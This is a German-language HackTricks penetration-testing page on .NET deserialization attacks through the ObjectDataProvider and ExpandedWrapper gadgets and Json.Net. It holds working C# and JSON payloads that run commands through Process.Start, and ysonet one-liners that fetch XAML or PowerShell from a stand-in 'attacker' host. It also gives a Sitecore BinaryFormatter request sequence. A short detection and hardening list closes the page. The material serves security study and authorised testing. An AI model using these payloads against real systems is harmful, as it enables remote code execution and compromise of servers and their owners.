hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

264 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Grundlegende .Net-Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper, und Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Dieser Beitrag widmet sich dem **Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird**, um RCE zu erhalten, und **wie** die Serialisierungsbibliotheken **Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.**
## ObjectDataProvider Gadget
Aus der Dokumentation: _die ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu **kapseln**, _**MethodParameters**_ zu verwenden, um **beliebige Parameter zu setzen**, und anschließend **MethodName zu verwenden, um eine beliebige Funktion** des Objekts mit den angegebenen Parametern aufzurufen.\
Daher wird das beliebige **Objekt** während der Deserialisierung eine **Funktion** mit **Parametern ausführen.**
### **Wie ist das möglich**
Der Namespace **System.Windows.Data**, zu finden in der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.
Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie den Code der Klasse, die uns interessiert, **inspizieren**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Wie Sie sehen können, wird beim Setzen von `MethodName` `base.Refresh()` aufgerufen. Schauen wir uns an, was das macht:
![](<../../images/image (319).png>)
Ok, sehen wir uns weiter an, was `this.BeginQuery()` macht. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut:
![](<../../images/image (345).png>)
Beachte, dass am Ende des Codes `this.QueryWorke(null)` aufgerufen wird. Schauen wir, was das ausführt:
![](<../../images/image (596).png>)
Beachte, dass dies nicht der komplette Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf;** dies ist die Zeile, in der das **Methoden-Set aufgerufen** wird.
Wenn Sie überprüfen möchten, dass allein das Setzen von _**MethodName**_ dazu führt, dass es ausgeführt wird, können Sie diesen Code ausführen:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Beachte, dass du als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ hinzufügen musst, um `System.Windows.Data` zu laden.
## ExpandedWrapper
Beim Einsatz des vorherigen Exploits gibt es Fälle, in denen das **object** als eine _**ObjectDataProvider**_-Instanz **deserialisiert wird** (zum Beispiel beim DotNetNuke vuln, mit XmlSerializer wurde das object mittels `GetType` deserialisiert). Dann besteht **no knowledge of the object type that is wrapped** in der _ObjectDataProvider_-Instanz (z. B. `Process`). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Diese Klasse erlaubt es, die **Objekttypen der Objekte, die in einer Instanz gekapselt sind, anzugeben**. Somit kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp zu kapseln und die Eigenschaften bereitzustellen, die wir benötigen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).
Das ist sehr nützlich für Fälle wie den zuvor dargestellten, denn wir können das _ObjectDataProvider_ in eine _ExpandedWrapper_-Instanz einbetten und beim **Deserialisieren** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die in _**MethodName**_ angegebene **Funktion** **ausführen** wird.
You can check this wrapper with the following code:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
Auf der [offiziellen Webpage](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu **serialisieren und zu deserialisieren**. Wenn wir also das **ObjectDataProvider gadget** deserialisieren könnten, könnten wir allein durch das Deserialisieren eines Objekts eine **RCE** auslösen.
### Json.Net example
Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisiert/deserialisiert**:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Abusing Json.Net
Mit [ysoserial.net](https://github.com/pwntester/ysoserial.net) habe ich den Exploit erstellt:
```java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In diesem Code kannst du **den Exploit testen**, führe ihn einfach aus und du wirst sehen, dass calc ausgeführt wird:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Die ObjectDataProvider + ExpandedWrapper-Technik, die oben eingeführt wurde, ist nur eine von VIELEN Gadget-Ketten, die ausgenutzt werden können, wenn eine Anwendung unsichere .NET-Deserialisierung durchführt. Moderne RedTeam-Tools wie **[YSoNet](https://github.com/irsdl/ysonet)** (und das ältere [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisieren die Erstellung von **sofort einsetzbaren bösartigen Objektgraphen** für Dutzende von Gadgets und Serialisierungsformaten.
Unten steht eine komprimierte Referenz der nützlichsten Chains, die mit *YSoNet* ausgeliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Erzeugung der Payloads.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Beschädigt den `DelegateSerializationHolder`-Eintrag, sodass der Delegate nach der Materialisierung auf *jede* vom Angreifer bereitgestellte Methode zeigt (z. B. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Nutzt `System.Workflow.ComponentModel.ActivitySurrogateSelector`, um *die .NET ≥4.8 TypFilterung zu umgehen* und direkt den **Konstruktor** einer angegebenen Klasse aufzurufen oder eine C#-Datei onthefly zu **kompilieren** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Nutzt die **legacy XML**-Darstellung von `System.Data.DataSet`, um beliebige Typen zu instanziieren, indem die `<ColumnMapping>` / `<DataType>`-Felder gefüllt werden (optional mit gefälschter Assembly via `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Auf WPF-fähigen Laufzeiten (> .NET 5) ketten sich Property-Getter bis zu `System.CodeDom.Compiler.CompilerResults`, und dann wird eine DLL, die mit `-c` angegeben wurde, *kompiliert* oder *geladen* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (Überblick) | Verwendet WPF `System.Windows.Data.ObjectDataProvider`, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische `--xamlurl`-Variante hinzu, um das bösartige XAML remote zu hosten | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Betten `ScriptBlock` in ein `System.Management.Automation.PSObject` ein, das beim Deserialisieren in PowerShell ausgeführt wird | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Alle Payloads werden standardmäßig an **stdout** ausgegeben, was es trivial macht, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, Base64-Encoder, HTTP-Clients).
### Building / Installing YSoNet
Falls keine vorkompilierten Binärdateien unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, richtet der folgende **PowerShell**-Einzeiler eine BuildUmgebung ein, klont das Repository und kompiliert alles im *Release*-Modus:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Die kompilierte `ysonet.exe` befindet sich dann unter `ysonet/bin/Release/`.
### Erkennung & Härtung
* **Erkennen** Sie unerwartete Kindprozesse von `w3wp.exe`, `PowerShell.exe` oder jedem Prozess, der nutzerübermittelte Daten deserialisiert (z. B. `MessagePack`, `Json.NET`).
* **Aktivieren und erzwingen** Sie Type-Filtering (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*), wann immer der veraltete `BinaryFormatter` / `NetDataContractSerializer` nicht entfernt werden kann.
* Soweit möglich auf **`System.Text.Json`** oder **`DataContractJsonSerializer`** mit whitelist-basierten Konvertern migrieren.
* Blockieren Sie das Laden gefährlicher WPF-Assemblies (`PresentationFramework`, `System.Workflow.*`) in Webprozessen, die diese niemals benötigen sollten.
## Praxisbeispiel (Sink): Sitecore convertToRuntimeHtml → BinaryFormatter
Ein praktischer .NET-Sink, erreichbar in authentifizierten Sitecore XP Content Editor-Flows:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` kapselt `new BinaryFormatter().Deserialize(...)`.
- Trigger-Pfad: Pipeline `convertToRuntimeHtml``ConvertWebControls`, die nach einem Geschwisterelement mit `id="{iframeId}_inner"` sucht und ein `value`-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird als string gecastet und in das HTML eingefügt.
Minimales EndtoEnd (authentifiziert):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: jede BinaryFormatter-Kette, die einen string zurückgibt (Nebenwirkungen werden während der Deserialisierung ausgeführt). Siehe YSoNet/ysoserial.net, um Payloads zu generieren.
Für eine vollständige Kette, die preauth mit HTML cache poisoning in Sitecore beginnt und zu diesem Sink führt:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Referenzen
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}